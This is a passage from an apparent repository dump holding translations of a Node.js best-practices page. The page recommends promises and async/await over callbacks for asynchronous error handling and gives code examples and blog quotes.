}\r\n);\r\n```\r\n\r\n</details>\r\n\r\n### Blog aipua: \"Promesekin arazo bat dugu\"\r\n\r\npouchdb.com bloga\r\n\r\n> ……Izatez, callbackek zerbait oraindik maltzurragoa egiten dute: pilaz gabetzen gaituzte, programazio lengoaietan sarri egintzat jotzen duguna. Kodea pila gabe idaztea kotxe bat freno pedalik gabe gidatzea bezala da: ez zara konturatzen zein puntura arte behar duzun erabiltzen saiatu eta ez dagoela konturatzen zaren momentura arte. Promesen helburu nagusia da asinkronoa (async) erabiltzean galdutako lengoaien oinarri guztiak berreskuratzea: return, throw eta pila. Baina promesak modu egokian erabiltzen jakin beharra dago beraiei probetxua ateratzeko\r\n\r\n### Blog aipua: \"Promesen metodoa askoz ere trinkoagoa da\"\r\n\r\ngosquared.com bloga\r\n\r\n> ………Promesen metodoa askoz ere trinkoagoa, argiagoa eta idazteko azkarragoa da. Errore edo salbuespen bat gertatzen bada, .catch() kudeatzaile bakar batek maneiatzen du. Errore guztiak kudeatzeko leku bakarra edukitzeak erroreen egiaztatzea lanaren fase bakoitzean idatzi beharrik ez dagoela adierazten du\r\n\r\n### Blog aipua: \"Promesak jatorrizko ES6 dira, eta sorgailuekin erabil daitezke\"\r\n\r\nStrongLoop bloga\r\n\r\n> ……Callbackek erroreen kudeaketa istorio kaskarra dute. Promesak hobeak dira. Promesekin, erabili Expressen errore kudeaketa kapsulatua eta horrela salbuespenen bat ez antzemateko aukerak murriztuko dituzu. Promesak jatorriz ES6ak dira, eta  generatzaileekin eta ES7ren async/await bezalako proposamenekin erabil daitezke Babel bezalako konpilatzaileetan\r\n\r\n### Blog aipua: \"Ohiko fluxu kontrol erregularren egitura guzti horiek guztiz apurtuta daude\"\r\n\r\nBenno’s bloga\r\n\r\n> ……Asinkronoaren, hau da, callbacketan oinarritutako programazioaren gauza hoberenetako bat da ohituta zauden fluxu kontrol erregularren egitura guzti horiek guztiz apurtuta daudela. Hala ere, salbuespenen kudeaketa da niretzat apurtuen dagoena. Javascriptek nahiko try…catch egitura ezaguna hornitzen du. Salbuespenen arazoa da, erroreak pila batean ekiditeko aukera ona eman arren, errorea beste pila batean gertatzen bada guztiz alferrikakoak izaten bukatzen dutela…\r\n"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.brazilian-portuguese.md",
    "content": "# Use Async-Await ou promises para tratamento de erros assíncronos\r\n\r\n### Explicação em um Parágrafo\r\n\r\nCallbacks não tem uma boa escalabilidade, pois a maioria dos programadores não tem familiaridade com elas. Elas forçam a verificar erros em toda parte, lidar com aninhamento de código desagradável e tornam difícil o entendimento do fluxo de código. Bibliotecas de promise como BlueBird, async, e Q possuem um estilo de código padrão usando RETURN e THROW para controlar o fluxo do programa. Especificamente, eles suportam o estilo favorito de manipulação de erro try-catch que permite liberar o caminho principal do código de lidar com erros em todas as funções.\r\n\r\n### Exemplo de código - usando promises para capturar erros\r\n\r\n```javascript\r\ndoWork()\r\n .then(doWork)\r\n .then(doOtherWork)\r\n .then((result) => doWork)\r\n .catch((error) => {throw error;})\r\n .then(verify);\r\n```\r\n\r\n### Exemplo de código anti-padrão - manipulação de erro no estilo callback\r\n\r\n```javascript\r\ngetData(someParameter, function(err, result) {\r\n    if(err !== null) {\r\n        // fazer algo como chamar a função de retorno de chamada e passar o erro\r\n        getMoreData(a, function(err, result) {\r\n            if(err !== null) {\r\n                // fazer algo como chamar a função de retorno de chamada e passar o erro\r\n                getMoreData(b, function(c) {\r\n                    getMoreData(d, function(e) {\r\n                        if(err !== null ) {\r\n                            // Você entendeu a ideia? \r\n                        }\r\n                    })\r\n                });\r\n            }\r\n        });\r\n    }\r\n});\r\n```\r\n\r\n### Citação de Blog: \"Temos um problema com promises\"\r\n\r\n Do blog pouchdb.com\r\n\r\n > ……E, de fato, callbacks fazem algo ainda mais sinistro: eles nos privam do stack, que é algo que costumamos dar como certo em linguagens de programação. Escrever código sem um stack é como dirigir um carro sem pedal de freio: você não percebe o quanto você precisa até tentar usá-lo e não está lá. O ponto principal das promises é nos devolver os fundamentos da linguagem que perdemos quando usamos código assíncrono: return, throw, e o stack. Mas você precisa saber como usar promises corretamente para tirar proveito delas.\r\n\r\n### Citação de Blog: \"O método das promises é muito mais compacto\"\r\n\r\n Do blog gosquared.com\r\n\r\n > ………O método das promises é muito mais compacto, claro e rápido de escrever. Se um erro ou exceção ocorrer em qualquer uma das operações, ele será tratado pelo único manipulador .catch (). Ter esse único local para lidar com todos os erros significa que você não precisa escrever uma verificação de erros para cada etapa do trabalho.\r\n\r\n### Citação de Blog: \"Promises são nativas do ES6, podem ser usadas com generators\"\r\n\r\n Do blog StrongLoop\r\n\r\n > ….Callbacks têm um péssimo histórico em manipulação de erros. Promises são melhores. Case com o tratamento de erro interno no Express com promises e reduza significativamente as chances de uma exceção não capturada. Promises são nativas do ES6, podem ser usadas com generators, e propostas do ES7 como async/await através de compiladores como Babel\r\n\r\n### Citação de Blog: \"Todas aquelas construções de controle de fluxo regulares que você está acostumado estão completamente quebradas\"\r\n\r\nDo blog Benno’s\r\n\r\n > ……Uma das melhores coisas sobre a programação assíncrona baseada em callbacks é que basicamente todas as construções de controle de fluxo regulares que você está acostumado estão completamente quebradas. No entanto, a que eu acho mais quebrada é o tratamento de exceções. Javascript fornece uma construção bastante familiar de try…catch para lidar com exceções. O problema com exceções é que elas fornecem uma ótima maneira de reduzir erros em um stack de chamadas, mas acabam sendo completamente inúteis se o erro acontece em uma pilha diferente…"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.chinese.md",
    "content": "# 对于异步的错误处理，请使用 Async-Await 或者 promises\r\n\r\n### 一段解释\r\n由于大多数的程序员不熟悉回调，不能很好的掌控回调函数，导致被迫到处检测错误，处理让人不快的代码嵌套和难以理解的代码流程。Promise 的库，比如 BlueBird，async，和 Q 封装了一些代码，使用者可以使用 RETURN 和 THROW 的方式来控制程序的流程。具体来说，就是它们支持最受欢迎的 try-catch 错误处理风格，这使得主流程代码从在每一个方法中处理错误的方式中解放出来。\r\n\r\n### 代码示例 – 使用 promises 捕获错误\r\n\r\n```javascript\r\ndoWork()\r\n  .then(doWork)\r\n  .then(doOtherWork)\r\n  .then((result) => doWork)\r\n  .catch((error) => {\r\n    throw error;\r\n  })\r\n  .then(verify);\r\n```\r\n\r\n### 代码示例 - 使用 async/await 捕获错误\r\n\r\n```javascript\r\nasync function executeAsyncTask() {\r\n  try {\r\n    const valueA = await functionA();\r\n    const valueB = await functionB(valueA);\r\n    const valueC = await functionC(valueB);\r\n    return await functionD(valueC);\r\n  } catch (err) {\r\n    logger.error(err);\r\n  } finally {\r\n    await alwaysExecuteThisFunction();\r\n  }\r\n}\r\n```\r\n\r\n### 代码示例 反模式 – 回调方式的错误处理\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ngetData(someParameter, function(err, result){\r\n    if(err != null)\r\n      //做一些事情类似于调用给定的回调函数并传递错误\r\n      getMoreData(a, function(err, result){\r\n        if(err != null)\r\n          //做一些事情类似于调用给定的回调函数并传递错误\r\n          getMoreData(b, function(c){\r\n            getMoreData(d, function(e){\r\n              if(err != null)\r\n                //你有什么想法? \r\n    });\r\n});\r\n```\r\n\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\ngetData(someParameter, function (err: Error | null, resultA: ResultA) {\r\n  if (err !== null) {\r\n    //做一些事情类似于调用给定的回调函数并传递错误\r\n    getMoreData(resultA, function (err: Error | null, resultB: ResultB) {\r\n      if (err !== null) {\r\n        //做一些事情类似于调用给定的回调函数并传递错误\r\n        getMoreData(resultB, function (resultC: ResultC) {\r\n          getMoreData(resultC, function (err: Error | null, d: ResultD) {\r\n            if (err !== null) {\r\n              // 你有什么想法？\r\n            }\r\n          });\r\n        });\r\n      }\r\n    });\r\n  }\r\n});\r\n```\r\n\r\n</details>\r\n\r\n### 博客引用: \"我们使用 promise 有一个问题\"\r\n\r\n摘自博客 pouchdb.com\r\n\r\n> ……实际上, 回调会做一些更险恶的事情: 他们剥夺了我们的 stack, 这是我们通常在编程语言中想当然的事情。编写没有堆栈的代码很像驾驶一辆没有刹车踏板的汽车: 你没有意识到你有多么需要它, 直到你伸手去找它, 而它不在那里。promise 的全部目的是让我们回到我们在异步时丢失的语言基础: return，throw 和 stack。但你必须知道如何正确使用 promise, 以便利用他们。\r\n\r\n### 博客引用: \"promise 方法更加紧凑\"\r\n\r\n摘自博客 gosquared.com\r\n\r\n> ………promise 的方法更紧凑, 更清晰, 写起来更快速。如果在任何 ops 中发生错误或异常,则由单个.catch()处理程序处理。有这个单一的地方来处理所有的错误意味着你不需要为每个阶段的工作写错误检查。\r\n\r\n### 博客引用: \"原生 ES6 支持 promise，可以和 generator 一起使用\"\r\n\r\n摘自博客 StrongLoop\r\n\r\n> ….回调有一个糟糕的错误处理的报道。promise 更好。将 express 内置的错误处理与 promise 结合起来, 大大降低了 uncaught exception 的几率。原生 ES6 支持 promise, 通过编译器 babel，它可以与 generator，ES7 提议的技术(比如 async/await)一起使用。\r\n\r\n### 博客引用: \"所有那些您所习惯的常规的流量控制结构, 完全被打破\"\r\n\r\n摘自博客 Benno’s\r\n\r\n> ……关于基于异步、回调编程的最好的事情之一是, 基本上所有那些您习惯的常规流量控制结构, 完全被打破。然而, 我发现最易打破的是处理异常。Javascript 提供了一个相当熟悉的 try...catch 结构来处理异常。异常的问题是, 它们提供了在一个调用堆栈上 short-cutting 错误的很好的方法, 但最终由于不同堆栈上发生的错误导致完全无用…\r\n"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.french.md",
    "content": "# Utilisez Async-Await ou les promesses pour le traitement des erreurs asynchrones\n\n### Un paragraphe d'explication\n\nLes fonctions de rappels n'évoluent pas bien car la plupart des programmeurs ne les connaissent pas bien. Elles obligent à vérifier les erreurs partout, à gérer l'imbrication de code désagréable et à rendre difficile le raisonnement sur le flux du code. Les bibliothèques de promesse comme BlueBird, async et Q contiennent un style de code standard en utilisant RETURN et THROW pour contrôler le flux du programme. Plus précisément, elles prennent en charge le style de gestion des erreurs de try-catch qui permet de libérer le chemin du code principal de la gestion des erreurs dans chaque fonction.\n\n### Exemple de code - utiliser des promesses pour détecter les erreurs\n\n```javascript\nreturn fonctionA()\n  .then(fonctionB)\n  .then(fonctionC)\n  .then(fonctionD)\n  .catch((err) => logger.error(err))\n  .then(toujoursExecuterCetteFonction)\n```\n\n\n### Exemple de code - utiliser async/await pour détecter les erreurs\n\n```javascript\nasync function executeAsyncTask () {\n  try {\n    const valueA = await fonctionA();\n    const valueB = await fonctionB(valueA);\n    const valueC = await fonctionC(valueB);\n    return await fonctionD(valueC);\n  }\n  catch (err) {\n    logger.error(err);\n  } finally {\n    await toujoursExecuterCetteFonction();\n  }\n}\n```\n\n### Contre exemple de code - gestion des erreurs avec des fonctions de rappel\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\ngetData(someParameter, function(err, result) {\n    if(err !== null) {\n        // faire quelque chose comme appeler la fonction de rappel donnée et passer l'erreur\n        getMoreData(a, function(err, result) {\n            if(err !== null) {\n                // faire quelque chose comme appeler la fonction de rappel donnée et passer l'erreur\n                getMoreData(b, function(c) {\n                    getMoreData(d, function(e) {\n                        if(err !== null ) {\n                            // vous avez une idée ?\n                        }\n                    })\n                });\n            }\n        });\n    }\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\ngetData(someParameter, function(err: Error | null, resultA: ResultA) {\n  if(err !== null) {\n    // faire quelque chose comme appeler la fonction de rappel donnée et passer l'erreur\n    getMoreData(resultA, function(err: Error | null, resultB: ResultB) {\n      if(err !== null) {\n        // faire quelque chose comme appeler la fonction de rappel donnée et passer l'erreur\n        getMoreData(resultB, function(resultC: ResultC) {\n          getMoreData(resultC, function(err: Error | null, d: ResultD) {\n            if(err !== null) {\n              // vous avez une idée ?\n            }\n          })\n        });\n      }\n    });\n  }\n});\n```\n</details>\n\n### Citation de blog : « Nous avons un problème avec les promesses »\n\n Extrait du blog de pouchdb.com\n\n > …. Et en fait, les fonctions de rappel font quelque chose d'encore plus sinistre : elles nous privent de la pile, ce que nous tenons généralement pour acquis en langage de programmation. Écrire du code sans pile, c'est un peu comme conduire une voiture sans pédale de frein : vous ne réalisez pas à quel point vous en avez besoin tant que vous ne l'avez pas atteint et qu'il n'est pas là. Le but des promesses est de nous rendre les bases linguistiques que nous avons perdues quand nous sommes devenus asynchrones : return, throw et la pile. Mais il faut savoir utiliser correctement les promesses pour en profiter.\n\n### Citation de blog : « La méthode des promesses est beaucoup plus compacte »\n\n Extrait du blog de gosquared.com\n\n > …. La méthode des promesses est beaucoup plus compacte, plus claire et plus rapide à écrire. Si une erreur ou une exception se produit dans l'une des opérations, elle est gérée par l'unique gestionnaire .catch (). Avoir cet emplacement unique pour gérer toutes les erreurs signifie que vous n'avez pas besoin d'écrire la vérification des erreurs pour chaque étape du travail.\n\n### Citation de blog : « Les promesses sont natives en ES6, elles peuvent être utilisées avec des générateurs »\n\n Extrait du blog de StrongLoop\n\n> …. Les fonctions de rappel ont un mauvais historique de gestion des erreurs. Les promesses sont meilleures. Marier la gestion des erreurs intégrée dans Express avec des promesses permet de réduire considérablement les chances d'une exception non capturée. Les promesses sont natives en ES6, elles peuvent être utilisées avec des générateurs et des propositions ES7 comme async/await via des compilateurs comme Babel.\n\n### Citation de blog : « Toutes ces constructions de contrôle de flux auxquelles vous êtes habitué sont complètement cassées »\n\nExtrait du blog de Benno’s\n\n > …L'un des meilleurs atouts de l'asynchrone, pour la programmation basée sur des fonctions de rappel, c'est que fondamentalement toutes ces constructions de contrôle de flux auxquelles vous êtes habitué sont complètement cassées. Cependant, celle que je trouve la plus cassée, c'est la gestion des exceptions. Javascript fournit une construction try…catch assez familière pour gérer les exceptions. Le problème avec les exceptions, c'est qu'elles fournissent un excellent moyen de court-circuiter les erreurs dans une pile d'appels, mais finissent par être complètement inutiles si l'erreur se produit sur une autre pile…\n"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.japanese.md",
    "content": "# 非同期エラーハンドリングに Async-Await または promises を使う\r\n\r\n### 一段落説明\r\n\r\nコールバックはあまりスケールしません。なぜなら、ほとんどのプログラマーはコールバックに馴染みがないからです。コールバックによって、エラーをくまなくチェックすることが強制され、厄介なコードの入れ子構造を扱うことになり、またコードのフローを推測することが困難になります。BlueBird や async、そして Q といった promise ライブラリは、RETURN や THROW を使ってプログラムのフローを制御している標準コードを包み込みます。特にそれらのライブラリは、みなの大好きな try-catch エラーハンドリングスタイルをサポートしており、それぞれの関数においてメインコードをエラー処理と分けて扱うことを可能にしています。\r\n\r\n### コード例 – エラーの捕捉に promises を使う\r\n\r\n```javascript\r\nreturn functionA()\r\n  .then(functionB)\r\n  .then(functionC)\r\n  .then(functionD)\r\n  .catch((err) => logger.error(err))\r\n  .then(alwaysExecuteThisFunction)\r\n```\r\n\r\n\r\n### コード例 - エラーの捕捉に async/await を使う\r\n\r\n```javascript\r\nasync function executeAsyncTask () {\r\n  try {\r\n    const valueA = await functionA();\r\n    const valueB = await functionB(valueA);\r\n    const valueC = await functionC(valueB);\r\n    return await functionD(valueC);\r\n  }\r\n  catch (err) {\r\n    logger.error(err);\r\n  } finally {\r\n    await alwaysExecuteThisFunction();\r\n  }\r\n}\r\n```\r\n\r\n### アンチパターン – コールバックスタイルのエラーハンドリング\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ngetData(someParameter, function(err, result) {\r\n    if(err !== null) {\r\n        // 渡されたコールバック関数を呼び出してエラーを渡す、といったことをします\r\n        getMoreData(a, function(err, result) {\r\n            if(err !== null) {\r\n                // 渡されたコールバック関数を呼び出してエラーを渡す、といったことをします\r\n                getMoreData(b, function(c) {\r\n                    getMoreData(d, function(e) {\r\n                        if(err !== null ) {\r\n                            // もうおわかりですよね？\r\n                        }\r\n                    })\r\n                });\r\n            }\r\n        });\r\n    }\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\ngetData(someParameter, function(err: Error | null, resultA: ResultA) {\r\n  if(err !== null) {\r\n    // 渡されたコールバック関数を呼び出してエラーを渡す、といったことをします\r\n    getMoreData(resultA, function(err: Error | null, resultB: ResultB) {\r\n      if(err !== null) {\r\n        // 渡されたコールバック関数を呼び出してエラーを渡す、といったことをします\r\n        getMoreData(resultB, function(resultC: ResultC) {\r\n          getMoreData(resultC, function(err: Error | null, d: ResultD) {\r\n            if(err !== null) {\r\n              // もうおわかりですよね？\r\n            }\r\n          })\r\n        });\r\n      }\r\n    });\r\n  }\r\n});\r\n```\r\n</details>\r\n\r\n### ブログ引用: \"We have a problem with promises\" (promises には問題がある)\r\n\r\nブログ pouchdb.com より\r\n\r\n > ……そして実際、コールバックはさらに厄介なことをします: 私たちがプログラミング言語において存在して当たり前だと思っているスタックを奪うのです。スタックの無いプログラミングは、まるでブレーキの無い車を運転するようなものです: それがどれくらいあなたにとって必要なものなのか、無くなってみないとわからないでしょう。promises の大事なポイントは、私たちが非同期に足を踏み入れたときに失った言語の基本要素、return、throw、そしてスタックを私たちの元へ返してくれることです。ただし、それらの恩恵を受けるためにも、promises を正しく使う方法を知っておかなければなりません。\r\n\r\n### ブログ引用: \"The promises method is much more compact\" (promises メソッドはよりコンパクトだ)\r\n\r\nブログ gosquared.com より\r\n\r\n > ………その promises メソッドはよりいっそうコンパクトで、明快で、素早く書けます。いかなるオペレーションの中でエラーや例外が起こったとしても、一つの .catch() ハンドラで扱うことができます。すべてのエラーを処理するために単一の場所を持つことは、各処理の段階でいちいちエラーチェックを行うコードを書く必要がないことを意味します。\r\n\r\n### ブログ引用: \"Promises are native ES6, can be used with generators\" (promises はネイティブ ES6 であり、ジェネレーターと一緒に利用できる)\r\n\r\nブログ StrongLoop より\r\n\r\n > ….コールバックはお粗末なエラーハンドリングの層を持っています。プロミスの方が優れています。promises を用いた Express のビルトインエラーハンドリングと結びつき、捕捉されない例外の可能性を大きく下げて下さい。Promises はネイティブ ES6であり generators とともに活用でき、そしてバベルのようなコンパイラを通して async/await のような ES7 での提案となっています。\r\n\r\n### ブログ引用: \"All those regular flow control constructs you are used to are completely broken\" (あなたが慣れ親しんでいる全ての通常のフロー制御構造は、完全に崩壊しています)\r\n\r\nブログ Benno’s より\r\n\r\n > ……非同期なコールバックベースのプログラミングについていえる最高のことのひとつは、基本的にあなたが慣れ親しんでいる全ての通常のフロー制御構造は、完全に崩壊しているということです。しかし、私が最も崩壊していると思った点は、例外の処理です。例外に対処するために、JavaScript はかなり一般的になった try...catch 構造を提供しています。例外の問題は、それらはコールスタック上でエラーをショートカットする素晴らしい方法を提供する一方で、異なるスタックでエラーが起こったときに全く役に立たずに終わるということです...\r\n"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.korean.md",
    "content": "# Use Async-Await or promises for async error handling\r\n\r\n### One Paragraph Explainer\r\n\r\nCallbacks don’t scale well since most programmers are not familiar with them. They force to check errors all over, deal with nasty code nesting and make it difficult to reason about the code flow. Promise libraries like BlueBird, async, and Q pack a standard code style using RETURN and THROW to control the program flow. Specifically, they support the favorite try-catch error handling style which allows freeing the main code path from dealing with errors in every function\r\n\r\n### Code Example – using promises to catch errors\r\n\r\n```javascript\r\ndoWork()\r\n .then(doWork)\r\n .then(doOtherWork)\r\n .then((result) => doWork)\r\n .catch((error) => {throw error;})\r\n .then(verify);\r\n```\r\n\r\n### Anti pattern code example – callback style error handling\r\n\r\n```javascript\r\ngetData(someParameter, function(err, result) {\r\n    if(err !== null) {\r\n        // do something like calling the given callback function and pass the error\r\n        getMoreData(a, function(err, result) {\r\n            if(err !== null) {\r\n                // do something like calling the given callback function and pass the error\r\n                getMoreData(b, function(c) {\r\n                    getMoreData(d, function(e) {\r\n                        if(err !== null ) {\r\n                            // you get the idea? \r\n                        }\r\n                    })\r\n                });\r\n            }\r\n        });\r\n    }\r\n});\r\n```\r\n\r\n### Blog Quote: \"We have a problem with promises\"\r\n\r\n From the blog pouchdb.com\r\n\r\n > ……And in fact, callbacks do something even more sinister: they deprive us of the stack, which is something we usually take for granted in programming languages. Writing code without a stack is a lot like driving a car without a brake pedal: you don’t realize how badly you need it until you reach for it and it’s not there. The whole point of promises is to give us back the language fundamentals we lost when we went async: return, throw, and the stack. But you have to know how to use promises correctly in order to take advantage of them.\r\n\r\n### Blog Quote: \"The promises method is much more compact\"\r\n\r\n From the blog gosquared.com\r\n\r\n > ………The promises method is much more compact, clearer and quicker to write. If an error or exception occurs within any of the ops it is handled by the single .catch() handler. Having this single place to handle all errors means you don’t need to write error checking for each stage of the work.\r\n\r\n### Blog Quote: \"Promises are native ES6, can be used with generators\"\r\n\r\n From the blog StrongLoop\r\n\r\n > ….Callbacks have a lousy error-handling story. Promises are better. Marry the built-in error handling in Express with promises and significantly lower the chances of an uncaught exception. Promises are native ES6, can be used with generators, and ES7 proposals like async/await through compilers like Babel\r\n\r\n### Blog Quote: \"All those regular flow control constructs you are used to are completely broken\"\r\n\r\nFrom the blog Benno’s\r\n\r\n > ……One of the best things about asynchronous, callback-based programming is that basically all those regular flow control constructs you are used to are completely broken. However, the one I find most broken is the handling of exceptions. Javascript provides a fairly familiar try…catch construct for dealing with exceptions. The problem with exceptions is that they provide a great way of short-cutting errors up a call stack, but end up being completely useless if the error happens on a different stack…\r\n"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.md",
    "content": "# Use Async-Await or promises for async error handling\r\n\r\n### One Paragraph Explainer\r\n\r\nCallbacks don’t scale well since most programmers are not familiar with them. They force to check errors all over, deal with nasty code nesting and make it difficult to reason about the code flow. Promise libraries like BlueBird, async, and Q pack a standard code style using RETURN and THROW to control the program flow. Specifically, they support the favorite try-catch error handling style which allows freeing the main code path from dealing with errors in every function\r\n\r\n### Code Example – using promises to catch errors\r\n\r\n```javascript\r\nreturn functionA()\r\n  .then(functionB)\r\n  .then(functionC)\r\n  .then(functionD)\r\n  .catch((err) => logger.error(err))\r\n  .then(alwaysExecuteThisFunction)\r\n```\r\n\r\n\r\n### Code Example - using async/await to catch errors\r\n\r\n```javascript\r\nasync function executeAsyncTask () {\r\n  try {\r\n    const valueA = await functionA();\r\n    const valueB = await functionB(valueA);\r\n    const valueC = await functionC(valueB);\r\n    return await functionD(valueC);\r\n  }\r\n  catch (err) {\r\n    logger.error(err);\r\n  } finally {\r\n    await alwaysExecuteThisFunction();\r\n  }\r\n}\r\n```\r\n\r\n### Anti pattern code example – callback style error handling\r\n\r\n<details>\r\n<summary><strong>Javascript</strong></summary>\r\n\r\n```javascript\r\ngetData(someParameter, function(err, result) {\r\n    if(err !== null) {\r\n        // do something like calling the given callback function and pass the error\r\n        getMoreData(a, function(err, result) {\r\n            if(err !== null) {\r\n                // do something like calling the given callback function and pass the error\r\n                getMoreData(b, function(c) {\r\n                    getMoreData(d, function(e) {\r\n                        if(err !== null ) {\r\n                            // you get the idea?\r\n                        }\r\n                    })\r\n                });\r\n            }\r\n        });\r\n    }\r\n});\r\n```\r\n</details>\r\n\r\n<details>\r\n<summary><strong>Typescript</strong></summary>\r\n\r\n```typescript\r\ngetData(someParameter, function(err: Error | null, resultA: ResultA) {\r\n  if(err !== null) {\r\n    // do something like calling the given callback function and pass the error\r\n    getMoreData(resultA, function(err: Error | null, resultB: ResultB) {\r\n      if(err !== null) {\r\n        // do something like calling the given callback function and pass the error\r\n        getMoreData(resultB, function(resultC: ResultC) {\r\n          getMoreData(resultC, function(err: Error | null, d: ResultD) {\r\n            if(err !== null) {\r\n              // you get the idea?\r\n            }\r\n          })\r\n        });\r\n      }\r\n    });\r\n  }\r\n});\r\n```\r\n</details>\r\n\r\n### Blog Quote: \"We have a problem with promises\"\r\n\r\n From the blog pouchdb.com\r\n\r\n > ……And in fact, callbacks do something even more sinister: they deprive us of the stack, which is something we usually take for granted in programming languages. Writing code without a stack is a lot like driving a car without a brake pedal: you don’t realize how badly you need it until you reach for it and it’s not there. The whole point of promises is to give us back the language fundamentals we lost when we went async: return, throw, and the stack. But you have to know how to use promises correctly in order to take advantage of them.\r\n\r\n### Blog Quote: \"The promises method is much more compact\"\r\n\r\n From the blog gosquared.com\r\n\r\n > ………The promises method is much more compact, clearer and quicker to write. If an error or exception occurs within any of the ops it is handled by the single .catch() handler. Having this single place to handle all errors means you don’t need to write error checking for each stage of the work.\r\n\r\n### Blog Quote: \"Promises are native ES6, can be used with generators\"\r\n\r\n From the blog StrongLoop\r\n\r\n > ….Callbacks have a lousy error-handling story. Promises are better. Marry the built-in error handling in Express with promises and significantly lower the chances of an uncaught exception. Promises are native ES6, can be used with generators, and ES7 proposals like async/await through compilers like Babel\r\n\r\n### Blog Quote: \"All those regular flow control constructs you are used to are completely broken\"\r\n\r\nFrom the blog Benno’s\r\n\r\n > ……One of the best things about asynchronous, callback-based programming is that basically all those regular flow control constructs you are used to are completely broken. However, the one I find most broken is the handling of exceptions. Javascript provides a fairly familiar try…catch construct for dealing with exceptions. The problem with exceptions is that they provide a great way of short-cutting errors up a call stack, but end up being completely useless if the error happens on a different stack…\r\n"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.polish.md",
    "content": "# Użyj Async-Await lub promises do obsługi błędów asynchronicznych\n\n### Wyjaśnienie jednym akapitem\n\nCallbacks nie skalują się dobrze, ponieważ większość programistów nie zna ich. Zmuszają do sprawdzania błędów, radzenia sobie z nieprzyjemnym zagnieżdżaniem kodu i utrudniają rozumowanie przepływu kodu. Biblioteki promises takie jak BlueBird, async i Q pakują standardowy styl kodu za pomocą RETURN i THROW do sterowania przebiegiem programu. W szczególności obsługują ulubiony styl obsługi błędów try-catch, który pozwala uwolnić główną ścieżkę kodu od radzenia sobie z błędami w każdej funkcji\n\n### Przykład kodu - używanie promises do wychwytywania błędów\n\n```javascript\nreturn functionA()\n  .then(functionB)\n  .then(functionC)\n  .then(functionD)\n  .catch((err) => logger.error(err))\n  .then(alwaysExecuteThisFunction)\n```\n\n\n### Przykład kodu - używanie async/await do wychwytywania błędów\n\n```javascript\nasync function executeAsyncTask () {\n  try {\n    const valueA = await functionA();\n    const valueB = await functionB(valueA);\n    const valueC = await functionC(valueB);\n    return await functionD(valueC);\n  }\n  catch (err) {\n    logger.error(err);\n  } finally {\n    await alwaysExecuteThisFunction();\n  }\n}\n```\n\n### Przykład kodu antywzorca - obsługa błędów stylu wywołania zwrotnego\n\n<details>\n<summary><strong>Javascript</strong></summary>\n\n```javascript\ngetData(someParameter, function(err, result) {\n    if(err !== null) {\n        // do something like calling the given callback function and pass the error\n        getMoreData(a, function(err, result) {\n            if(err !== null) {\n                // do something like calling the given callback function and pass the error\n                getMoreData(b, function(c) {\n                    getMoreData(d, function(e) {\n                        if(err !== null ) {\n                            // you get the idea?\n                        }\n                    })\n                });\n            }\n        });\n    }\n});\n```\n</details>\n\n<details>\n<summary><strong>Typescript</strong></summary>\n\n```typescript\ngetData(someParameter, function(err: Error | null, resultA: ResultA) {\n  if(err !== null) {\n    // do something like calling the given callback function and pass the error\n    getMoreData(resultA, function(err: Error | null, resultB: ResultB) {\n      if(err !== null) {\n        // do something like calling the given callback function and pass the error\n        getMoreData(resultB, function(resultC: ResultC) {\n          getMoreData(resultC, function(err: Error | null, d: ResultD) {\n            if(err !== null) {\n              // you get the idea?\n            }\n          })\n        });\n      }\n    });\n  }\n});\n```\n</details>\n\n### Cytat z Bloga: \"Mamy problem z promises\"\n\n Z bloga pouchdb.com\n\n > ……And in fact, callbacks do something even more sinister: they deprive us of the stack, which is something we usually take for granted in programming languages. Writing code without a stack is a lot like driving a car without a brake pedal: you don’t realize how badly you need it until you reach for it and it’s not there. The whole point of promises is to give us back the language fundamentals we lost when we went async: return, throw, and the stack. But you have to know how to use promises correctly in order to take advantage of them.\n\n### Cytat z Bloga: \"The promises method is much more compact\"\n\n Z bloga gosquared.com\n\n > ………The promises method is much more compact, clearer and quicker to write. If an error or exception occurs within any of the ops it is handled by the single .catch() handler. Having this single place to handle all errors means you don’t need to write error checking for each stage of the work.\n\n### Cytat z Bloga: \"Promises are native ES6, can be used with generators\"\n\n Z bloga StrongLoop\n\n > ….Callbacks have a lousy error-handling story. Promises are better. Marry the built-in error handling in Express with promises and significantly lower the chances of an uncaught exception. Promises are native ES6, can be used with generators, and ES7 proposals like async/await through compilers like Babel\n\n### Cytat z Bloga: \"All those regular flow control constructs you are used to are completely broken\"\n\nZ bloga Benno’a\n\n > ……One of the best things about asynchronous, callback-based programming is that basically all those regular flow control constructs you are used to are completely broken. However, the one I find most broken is the handling of exceptions. Javascript provides a fairly familiar try…catch construct for dealing with exceptions. The problem with exceptions is that they provide a great way of short-cutting errors up a call stack, but end up being completely useless if the error happens on a different stack…\n"
  },
  {
    "path": "sections/errorhandling/asyncerrorhandling.russian.md",
